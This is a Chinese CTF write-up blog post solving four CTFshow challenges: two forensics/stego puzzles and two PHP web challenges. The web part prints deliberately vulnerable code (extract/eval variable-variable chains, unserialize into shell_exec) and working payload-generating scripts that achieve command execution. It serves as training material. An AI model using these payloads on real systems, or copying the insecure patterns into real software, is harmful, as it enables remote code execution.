2022CTFSHOW菜狗杯部分题目(三)

(MISC)一层一层一层地剥开我的♥-ctfshow 【RAR文件头修复|docx|文件分离|base100】

下载附件:
imageimage

打开发现是个word文档,改zip后缀为docx

打开后发现是一堆符号:

image

全选内容修改字体,拿到以下内容:

image

是《一闪一闪亮晶晶》的英文歌词。

对docx文件进行binwalk提取:

image

得到2个压缩包。其中0.zip就是docx文件本身。另一个压缩包中有如下内容:

image

其中2个文件都是加密的。根据docx文件中的信息猜测压缩包密码,结果是《一闪一闪亮晶晶》头两句的简谱音符(离谱),即11556654433221

使用此密码解压压缩包,

image

得到以下文件:

image

先用010editor检查3.jpg。

发现在jpg文件本该结束的位置后面又是另一个jpg文件。(JPG文件通常以FF D8开头,FF D9结束)

image

在编辑器中选中FF D8开始后面的部分,使用文件→保存选择,将后面的图片另存为出来(选中字符串右键选择→标记选择开始,标记选择结束):

image

就得到了另一张图片,其中含有一些文字信息winkwink~​:

image

接下来检查文件名为❤的文件。

用010打开,发现为文件头缺失的RAR压缩文件,RAR的文件头通常是:52 61 72 21 1A 07 01 00

image

补全文件头,并添加rar后缀,发现其中又有一个加密的txt文件:

image

使用上面图中的winkwink~作为密码,解密成功

拿到一个全是表情包的txt文档:

image

用base100进行解密https://ctf.bugku.com/tool/base100

image

**FLAG:**ctfshow{Wa0_wa_Congr@tulations~}

(MISC)0宽字符加密-ctfshow

题目附件明确提示了是0宽隐写:

image

把内容复制到0宽字符解密工具(http://330k.github.io/misc_tools/unicode_steganography.html)中decode即可。

image

**FLAG:**ctfshow{OP_is_for_Over_Power}

(WEB)我的眼里只有$-ctfshow 【变量覆盖】

题目代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
<?php /\* # -\*- coding: utf-8 -\*- # @Author: h1xa # @Date: 2022-11-10 17:20:38 # @Last Modified by: h1xa # @Last Modified time: 2022-11-11 08:21:54 # @email: h1xa@ctfer.com # @link: https://ctfer.com \*/ error\_reporting(0); extract(\$\_POST); eval(\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\_); highlight\_file(\_\_FILE\_\_); 可以看到就是个变量覆盖然后再无限套娃。
假设我们post传入`_=a`​那么`$_=a`​,如果在post传入`a=b`​那么`$$_=b`​
以此类推传入一定数量的参数就可以了,最后一个的值要传入eval的代码。 解题脚本: ```php import string s = string.ascii_letters t='_=a&' code="system('ls');" for i in range(35): t+=s[i]+"="+s[i+1]+'&' t+=s[i]+'='+code print(t) ``` 官方WP提供的另一种PHP脚本: ```php $str="_=__"; $res=""; echo "_=__&"; for ($i=0; $i < 34; $i++) { $str="_".$str."_"; echo $str."&"; if($i==33){ echo explode("=", $str)[1]."=eval(\$_GET[1]);"; } } ``` ​![image](https://img-blog.csdnimg.cn/img_convert/88edf07f745da9ffb227dc2c886d3ee3.png)​ # (WEB)webshell-ctfshow 【php反序列化】 题目代码: ```php <?php error_reporting(0); class Webshell { public $cmd = 'echo "Hello World!"'; public function __construct() { $this->init(); } public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); } } public function exec($cmd) { $result = shell_exec($cmd); echo $result; } } if(isset($_GET['cmd'])) { $serializecmd = $_GET['cmd']; $unserializecmd = unserialize($serializecmd); $unserializecmd->init(); } else { highlight_file(__FILE__); } ?>

解题脚本:

```php
<?php 
class Webshell {
    public $cmd = 'tac f*';
}
$a = new Webshell();
echo urlencode(serialize($a));
?>

在线运行:

image

传入字符串,获得flag:

image

官方的WP:

<?php 
class Webshell {
    public $cmd = 'cat * >1.txt';
}
$a = new Webshell();
echo serialize($a);
?>
区别:	

	传值后访问1.txt页面,查看flag:

	![image](https://raw.githubusercontent.com/wydyxhxs/images/main/20221116/211246133.png)​

本文参考了官方WP:https://ctf-show.feishu.cn/docx/UpC6dtDqgo7VuoxXlcvcLwzKnqh
羽师傅的WP: link

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值